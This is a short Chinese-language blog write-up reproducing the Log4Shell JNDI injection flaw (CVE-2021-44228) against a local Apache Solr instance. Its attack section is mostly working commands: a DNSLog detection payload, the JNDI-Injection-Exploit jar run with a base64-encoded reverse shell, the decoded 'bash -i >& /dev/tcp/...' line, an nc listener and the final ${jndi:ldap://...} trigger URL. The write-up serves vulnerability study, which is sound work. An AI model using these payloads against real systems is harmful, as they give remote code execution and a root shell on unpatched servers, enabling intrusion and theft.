(CVE-2021-44228)Apache-Log4j2-JNDI注入-远程代码执行漏洞

一、漏洞简介

Apache Log4j 2是一个开源的日志记录组件,使用非常的广泛。在工程中以易用方便代替了 System.out 等打印语句,它是JAVA下最流行的日志输入工具。

使用 Log4j 2 在一定场景条件下处理恶意数据时,可能会造成注入类代码执行。

二、漏洞影响

Apache log4j2 >= 2.0, <= 2.14.1

Apache Log4j 2.0-beta9 - 2.12.1 、Apache Log4j 2.13.0 - 2.15.0-rc1

三、复现过程

3.1 漏洞分析

使用 DNSLog 平台获取一个子域名进行jndi注入点测试

image-20240726214110819

注入检测,获取到 Java 版本号,检测是否存在jndi注入远程代码执行漏洞

1
http://localhost:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.j6zzen.dnslog.cn}

image-20240726214117388

根据上述输出子域名刷新记录可知确实存在jndi注入,远程代码执行漏洞;

3.2 攻击脚本

使用工具部署jndi服务JNDI-Injection-Exploit

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjEyOC81NTU1IDA+JjE=}|{base64,-d}|{bash,-i}" -A 192.168.48.128 

执行的命令为经过编码的反弹shell的命令RUNTIME.EXEC PAYLOAD GENERATER

1
bash -i >& /dev/tcp/192.168.48.128/5555 0>&1

image-20240726214931013

image-20240726214952542

由于刚才获得的java版本是1.8,所以我们使用JDK1.8的target环境

在监听机中进行端口监听,等待shell反弹;

1
nc -lvvp 5555

进行链接访问反弹shell获取root全新啊

1
http://localhost:8983/solr/admin/cores?action=${jndi:ldap://192.168.48.128:1389/vcnt4s}

image-20240726215222737


(CVE-2021-44228)Apache-Log4j2-JNDI注入-远程代码执行漏洞
http://candyb0x.github.io/2024/07/26/CVE-2021-44228-Apache-Log4j2-JNDI注入-远程代码执行漏洞/
作者
Candy
发布于
2024年7月26日
更新于
2024年7月28日
许可协议